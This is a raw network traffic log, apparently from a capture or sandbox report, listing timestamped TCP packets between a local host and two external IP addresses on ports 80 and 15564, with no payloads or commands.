Oct 29, 2021 14:11:11.827836990 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.827872992 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.827910900 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.827949047 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.827985048 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.828023911 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.828062057 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.828100920 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.828140020 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.828177929 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.828216076 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.828253984 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.828289986 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.828329086 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.828366041 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.828404903 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.828443050 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.828479052 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.828516960 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.828555107 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.828591108 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.828629017 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.828668118 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.828706980 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.828746080 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.828778982 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.830159903 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.845276117 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.851936102 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.851990938 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.852030039 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.852060080 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.852098942 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.852135897 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.852174044 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.852200031 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.854206085 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.854233027 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.860410929 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.864964962 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.865014076 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.865113020 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.865164042 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.879127026 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.879182100 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.879220009 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.879257917 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.879296064 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.879334927 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.879375935 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.879412889 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.879451036 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.879489899 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.879525900 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.879564047 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.879601955 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.879684925 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.879724979 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.879753113 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.895236015 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.898341894 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.898396015 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.898436069 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.898473024 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.898510933 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.898550987 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.898586988 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.898627043 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.898668051 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.898705959 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.907421112 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.907470942 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.907512903 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.907569885 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.907609940 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.907651901 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.907691002 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.907728910 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.907767057 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.907808065 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.907844067 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.907881975 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.907921076 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.907957077 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.907995939 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.908035040 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.908066034 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.908073902 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.908116102 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.908133030 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.908154011 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.908193111 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.908195972 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.908207893 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.908231974 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.908268929 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.908308029 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.908322096 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.908345938 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.908387899 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.908404112 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.908427954 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.908458948 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.908466101 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.908505917 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.908539057 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.908544064 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.908581972 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.908621073 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.908660889 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.908662081 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.908699989 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.908731937 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.908768892 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.908807993 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.908869982 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.908920050 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.908956051 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.908993959 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.909022093 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.909259081 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.909301996 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.909318924 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.909339905 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.909379005 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.909415960 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.909423113 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.909452915 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.909483910 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.909502983 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.909533024 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.909569979 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.909609079 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.909662962 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.909701109 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.909739017 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.909775972 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.909801960 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.909992933 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.910033941 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.910069942 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.910108089 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.910145044 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.910181046 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.910207987 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.910345078 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.910446882 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.910485029 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.910522938 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.910645962 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.910686970 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.910723925 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.910752058 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.910922050 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.910962105 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.911115885 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.911153078 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.911190987 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.911227942 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.911253929 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.911293030 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.911329985 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.911369085 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.911396027 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.911432981 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.911469936 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.911506891 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.911531925 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.913738966 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.913767099 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.913773060 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.913778067 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.944256067 CEST	50109	15564	192.168.2.3	185.215.113.94
Oct 29, 2021 14:11:11.962944984 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.963001966 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.963042974 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.963079929 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.963119030 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.963156939 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.963184118 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.963222027 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.963262081 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.963301897 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.963340998 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.963377953 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.963416100 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.963443041 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.963479042 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.963515997 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.963553905 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.963581085 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.963619947 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.963676929 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.963715076 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.963743925 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.963778973 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.963816881 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.963855028 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.963874102 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.964634895 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.964679003 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.964715004 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.964754105 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.964792013 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.964828014 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.964879990 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.964920044 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.964956999 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.964996099 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.965027094 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.965063095 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.965101004 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.965137959 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.965173960 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.965212107 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.965249062 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.965276003 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.965537071 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.965576887 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.965611935 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.965639114 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.965738058 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.965778112 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.965812922 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.965841055 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.965879917 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.965917110 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.965954065 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.965980053 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.966084957 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.966121912 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.966159105 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.966186047 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.966222048 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.966259003 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.966295958 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.966334105 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.966372967 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.966408014 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.966434956 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.966619968 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.966660976 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.966696978 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.966723919 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:11.981072903 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.982004881 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.993765116 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.994334936 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.994718075 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.994791985 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.994864941 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:11.995045900 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:12.002352953 CEST	15564	50109	185.215.113.94	192.168.2.3
Oct 29, 2021 14:11:12.006211042 CEST	50109	15564	192.168.2.3	185.215.113.94
Oct 29, 2021 14:11:12.014975071 CEST	50109	15564	192.168.2.3	185.215.113.94
Oct 29, 2021 14:11:12.018717051 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.018773079 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.018804073 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.018832922 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.018872976 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.018912077 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.018959045 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.018997908 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.019036055 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.019073963 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.019113064 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.019149065 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.019186974 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.019213915 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.019251108 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.019289017 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.019325972 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.019352913 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.019392014 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.019428015 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.019471884 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.019510984 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.019547939 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.019608021 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.019645929 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.019682884 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.019721031 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.019880056 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.019921064 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.019957066 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.019994974 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.020021915 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.020061016 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.020098925 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.020134926 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.020160913 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.020199060 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.020234108 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.020272017 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.020297050 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.020471096 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.020508051 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.020546913 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.020572901 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.020747900 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.020786047 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.020824909 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.020893097 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.020931005 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.020970106 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.020998001 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.021034956 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.021073103 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.021111012 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.021136999 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.021173954 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.021210909 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.021251917 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.021280050 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.021316051 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.021357059 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.021397114 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.021435976 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.021476030 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.021513939 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.021543980 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.021665096 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.021707058 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.021744013 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.021770000 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.022052050 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.022243977 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.022284985 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.022310019 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:12.024960995 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:12.025087118 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:12.025173903 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:12.025233984 CEST	50088	80	192.168.2.3	45.141.84.21
